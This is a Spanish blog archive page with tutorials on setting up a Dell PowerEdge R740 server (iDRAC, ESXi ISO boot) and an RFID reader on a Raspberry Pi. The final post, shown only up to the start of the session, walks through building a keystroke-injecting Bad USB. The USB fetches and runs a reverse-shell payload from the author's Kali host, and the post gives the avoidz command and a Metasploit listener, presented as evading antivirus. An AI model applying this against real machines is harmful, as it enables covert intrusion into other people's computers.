Mostrando entradas con la etiqueta Hardware. Mostrar todas las entradas
Mostrando entradas con la etiqueta Hardware. Mostrar todas las entradas

martes, 9 de octubre de 2018

12 - Actualizando Firmware de Servidor Dell EMC PowerEdge R740



En este video muestro como actualizar el firmware del BIOS de un Servidor Dell EMC PowerEdge R740. Puede aplicarse este mismo instructivo para actualizar la iDrac y para actualizar la RAID PERC H730p.

sábado, 15 de septiembre de 2018

jueves, 13 de septiembre de 2018

09 - Bootear ISO desde iDrac de Dell EMC PowerEdge R740

Lo que más me gusta del iDrac es que no tenemos que estar físicamente frente al servidor para instalar el sistema operativo. En la entrada previa expliqué como configurar el iDrac y pueden verlo en el siguiente enlace: http://redes-seguridad.blogspot.com/2018/09/08-configuracion-de-idrac.html

Antes de empezar la instalación voy a deshabilitar el booteo PXE, nos logueamos por web al iDRAC con la ip que nos dio anteriormente el DHCP ó la que hemos configurado como ip fija.

Hacemos click en la consola virtual como indica la siguiente imagen:


Nos pide descargar el viewer.jnlp, el cuál le damos "Guardar" y abriremos desde las descargas del navegador.


Nos mostrará otra ventana con una advertencia de seguridad, le damos continuar:


Tildamos la opción para que no la vuelva a mostrar y Ejecutar:


Ejecutar nuevamente:


Vemos la consola del server sin estar en frente de él físicamente:


Vemos que al bootear en la ventana previa intenta hacerlo primero por PXE, para deshabilitarlo también podemos hacerlo directamente de esta ventana. Click sobre "Siguiente Inicio" => "Configuración del BIOS":


Aceptar y luego reiniciar el equipo:


Alimentación => Restablecer el sistema


Damos que si y se reiniciará el servidor:


Luego del reinicio vemos que directamente ingresa a la configuración del BIOS sin teclear ninguna letra, click sobre "System BIOS"


Boot Settings:


UEFI Boot Settings:


Destildamos la opción PXE como indica la imagen siguiente:


Click arriba a la derecha en "Exit" y le damos "Yes" para que guarde los cambios:


Los cambios fueron guardados OK => Finish => Yes y se reiniciará el equipo:


Vemos que ahora NO nos aparece el booteo "Booting from PXE":


Ya deshabilitado el PXE vamos a bootear con la ISO del VMware desde la consola virtual, vamos a "Medios virtuales" => "Conectar medios virtuales"


Nuevamente => "Medios virtuales" => "Asignar CD/DVD":


Elegimos una unidad virtual, en mi caso D: => "Explorar":


Seleccionamos la ISO del VMware 6.7, tener en cuenta que esta está customizada para servidores Dell:


Asignamos el dispositivo:


Ahora configuramos el booteo desde la ISO virtual => "Siguiente inicio" => CD/DVD/ISO virtual:


Damos => "Aceptar":


Reiniciamos el equipo mediante la siguiente imagen. Al pedir confirmación le damos que SI.


Esperamos el reinicio y vemos que cuando comienza el booteo sin tocar absolutamente ninguna letra bootea desde el Virtual CD:


Ver que comienza el booteo del ESXi:


Damos (Enter Continue) y hasta acá llegaré con esta entrada, la instalación la veremos en el siguiente post.


Acá les dejo un video de cómo deshabilitar el PXE de los pasos previos, posteriormente haré otro video para el booteo y la instalación del ESX.




lunes, 10 de septiembre de 2018

08 - EMC Dell PowerEdge R740 iDrac configuration

Vemos que por defecto el iDrac tiene configurado DHCP, si tenemos un servidor de DHCP en nuestra red directamente accedemos a la ip que muestra por pantalla, en cambio si queremos configurarle ip fija para ingresar al iDrac presionamos F10.


Por primera vez nos pedirá acceso con usuario: root y la clave está por defecto debajo de la etiqueta del service TAG donde figura el número 4 en la siguiente imagen:


Esta etiqueta podemos identificarla del lado derecho del server abajo, en la próxima figura es el punto número 6:


Debemos tener en cuenta que la clave para acceder por web está debajo de la etiqueta:


Ya tenemos el usuario: root, la clave que figura debajo de la etiqueta del Service TAG y la ip que la brinda el DHCP, así que ingresamos directamente por la url con: https://ip_del_idrac:


Ni bien nos logueamos nos pedirá restablecer la contraseña, si no nos lo pide podremos ir a la flecha hacia abajo donde dice iDRAC Settings como muestra la siguiente imagen:


Users:


Edit:


Y cambiamos acá la contraseña. También podemos configurar Keys SSH ó Smart Card, SNMP, etc.



07 - Conectamos monitor, teclado, mouse, cables de red y encendemos el Server


Ponemos el server en un rack temporal, conectamos los 2 powers, un cable de red en la placa del iDrac y otra placa en la LAN0 del server. Conectamos monitor, teclado, mouse y prendemos el server.


06 - Configuración de memoria y cerrado del server EMC Dell PowerEdge R740

En videos anteriores vimos el desempacado del Servidor Dell, como agregarle la placa de red, la placa de fibra y agregamos memoria RAM. En videos posteriores veremos como conectarnos al servidor por Bluetooth, como configurar iDrac y como instalar y configurar un VMware ESXi 6.7, agregarlo en una farm de servidores ya existentes reemplazando por otro.


05 - Colocando Memoria RAM en Servidor EMC Dell PowerEdge R740


En videos anteriores vimos el desempacado del Servidor Dell, como agregarle la placa de red, la placa de fibra y ahora veremos como agregar memoria RAM. En videos posteriores veremos como conectarnos al servidor por Bluetooth, como configurar iDrac y como instalar y configurar un VMware ESXi 6.7, agregarlo en una farm de servidores ya existentes reemplazando por otro.


domingo, 9 de septiembre de 2018

04 - Conectar placa de Fiber Channel en Servidor EMC Dell PowerEdge R740

Conectando placa de Fiber Channel en Servidor EMC Dell PowerEdge R740, luego veremos como agregarle memoria, configurar el server desde bluetooth, habilitar acceso al iDrac, instalar ESXi, configurarlo para reemplazo de otro servidor en un cluster de una granja de VMwares con VMware ESXi 6.7.


03 - Colocar placa de red ethernet en Servidor EMC Dell PowerEdge R740

Colocando placa Ethernet en Servidor EMC Dell PowerEdge R740, en el próximo video veremos como conectar la placa de Fiber Channel, como agregarle memoria, configurar el server desde bluetooth, habilitar acceso al iDrac, instalar ESXi, configurarlo para reemplazo de otro servidor en un cluster de una granja de VMwares con VMware ESXi 6.7.


02 - Hardware de un Servidor EMC Dell PowerEdge R740

Luego de abrir la caja del server muestro como abrir el chasis, como sacar y volver a poner un fan y donde colocar la memoria RAM. En los próximos videos mostraré como agregarle memoria, ponerle una placa de red, una placa de fibra, configurar el server desde bluetooth, habilitar acceso al iDrac, instalar ESXi, configurarlo para reemplazo de otro servidor en un cluster de una granja de VMwares con VMware ESXi 6.7.



01 - Unboxing Dell EMC PowerEdge R740 Server


Desempaquetando un servidor Dell R740. En próximos videos mostraré como agregar memoria, placa de red, placa de fibra. Luego lo pondré en un rack temporal para configurarle Idrac, instalarle VMware ESXi 6.7 y reemplazarlo en una farm de clusters de ESXs.


viernes, 1 de septiembre de 2017

Lector de Tarjetas RFID-RC522 en Raspberry Pi B+


Les dejo un extracto de wikipedia de lo que es RFID:
RFID o identificación por radiofrecuencia (del inglés Radio Frequency Identification) es un sistema de almacenamiento y recuperación de datos remoto que usa dispositivos denominados etiquetas, tarjetas o transpondedores RFID. El propósito fundamental de la tecnología RFID es transmitir la identidad de un objeto (similar a un número de serie único) mediante ondas de radio. Las tecnologías RFID se agrupan dentro de las denominadas Auto ID (automatic identification, o identificación automática).
Las etiquetas RFID (RFID tag en inglés) son unos dispositivos pequeños, similares a una pegatina, que pueden ser adheridas o incorporadas a un producto, un animal o una persona. Contienen antenas para permitirles recibir y responder a peticiones por radiofrecuencia desde un emisor-receptor RFID. Las etiquetas pasivas no necesitan alimentación eléctrica interna, mientras que las activas sí lo requieren. Una de las ventajas del uso de radiofrecuencia (en lugar, por ejemplo, de infrarrojos) es que no se requiere visión directa entre emisor y receptor.


Primero conectamos el RFID-RC522 a los pines GPIO de la Raspberry pi:

3.3v   al PIN-1   (el que se identifica en la placa con P1 en la imagen el de arriba a la izquierda)
RST   al PIN 22 (GPIO25 verde)
GND  al PIN 6   (GND negro)
MISO al PIN 21 (GPIO 9 verde)
SCK   al PIN 23 (GPIO 11 verde)
SDA   al PIN 24 (GPIO 8 verde)
IRQ no lo utilizamos


Les dejo la imagen de la raspberry que utilicé y sus pines GPIO:


Habilitamos el SPI:
pi@raspberrypi:~ $ sudo raspi-config






Reiniciamos la raspberry:
sudo reboot


Verificamos que haya cargado el spi:
pi@raspberrypi:~ $ lsmod |grep spi


Instalamos ó verificamos que tengamos python instalado:
pi@raspberrypi:~ $ sudo apt-get install python2.7-dev



Descargamos SPI-Py con git y lo instalamos:

pi@raspberrypi:~ $ git clone https://github.com/lthiery/SPI-Py.git
pi@raspberrypi:~ $ cd SPI-Py 
pi@raspberrypi:~ $  sudo python setup.py install



Instalamos MFRC522-python y ejecutamos el Read.py, probar leer la tarjeta y el llavero:

Les dejo un video usandolo:



Fuentes: 

https://es.wikipedia.org/wiki/RFID
https://github.com/lthiery/SPI-Py/
https://github.com/mxgxw/MFRC522-python

lunes, 7 de agosto de 2017

Shell Reversa con Bad USB Casero a Bajo Costo


Nos descargamos el IDE de Arduino de la siguiente página: 

https://www.arduino.cc/en/Main/Donate



Lo instalamos y damos todas las opciones siguiente -> siguiente por defecto:




Si nos pide instalar algo como esto, le damos confiar siempre e instalar:




Abrimos el Arduino y vamos a Archivo -> Preferencias:



Colocamos en Tarjetas adicionales lo siguiente:
http://digistump.com/package_digistump_index.json y damos ok:



Clickeamos en Herramientas -> Placa: "Arduino/Genuino Uno" -> "Gestor de tarjetas ..."



Seleccionamos "Digistump AVR Boards by Digistump" -> Instalar
Esperamos que instale -> Cerrar:




Nuevamente vamos al mismo menú -> Herramientas -> Placa -> "Digispark (Default - 16.5mhz)":



Descargamos el Digistump Drivers desde: https://github.com/digistump/DigistumpArduino/releases



Descomprimimos y ejecutamos el siguiente archivo:



Abrimos el IDE de Arduino y vamos a > Archivo > Ejemplos > DigisparkKeyboard > Keyboard



Vamos luego a > Herramientas > Programador: "USBtinyISP" > USBtinyISP



Descargamos el .ino que hice para tipear automáticamente de la siguiente url: https://github.com/tirher/Arduino



Borramos lo que teníamos previamente en el IDE de Arduino y pegamos lo que descargamos del link anterior, debería quedar así:



Hacemos click en el tilde de arriba a la izquierda como indica en la imagen y luego veremos algo como muestra debajo de la flecha:



Luego seleccionamos la flecha que indica a la derecha y vemos abajo de todo en la ventana negra que nos indica cuando ingresar el USB Atiny85. Cuando aparece "Plug in device now ..." lo conectamos:



Cuando indique "100 % complete" lo desconectamos y ya tenemos el bad usb listo:



En el post previo mostré como utlizar avoid para hacer una shell reversa: http://redes-seguridad.blogspot.com.ar/2017/07/reverse-shell-indetectable-por-sophos.html ahora la voy a publicar en un webserver para poder descargarla u ejecutarla directamente del usb.

Iniciamos en el kali el apache2 y copiamos el py.exe en la ruta /var/www/html y verificamos que lo pueda acceder por una web:



Luego ejecutamos el siguiente comando, si ó si tiene que ser desde el terminal dentro del entorno gráfico, sino no funcionará:

root@kali:~/Desktop/avoidz# ./avoidz.rb -h 192.168.1.43 -f py

Cuando nos pregunte: "Whould you like to start a listener? (Y/n)" le indicamos que si y vemos como se abre solo el msfconsole y queda a la escucha esperando:



Conectamos el Bad USB en el windows y veremos que descargará el py.exe desde nuestro webserver y lo ejecutará:



Luego de unos segundos veremos la conexión reversa desde el windows al kali linux:



Vemos las sesiones abiertas y nos conectamos: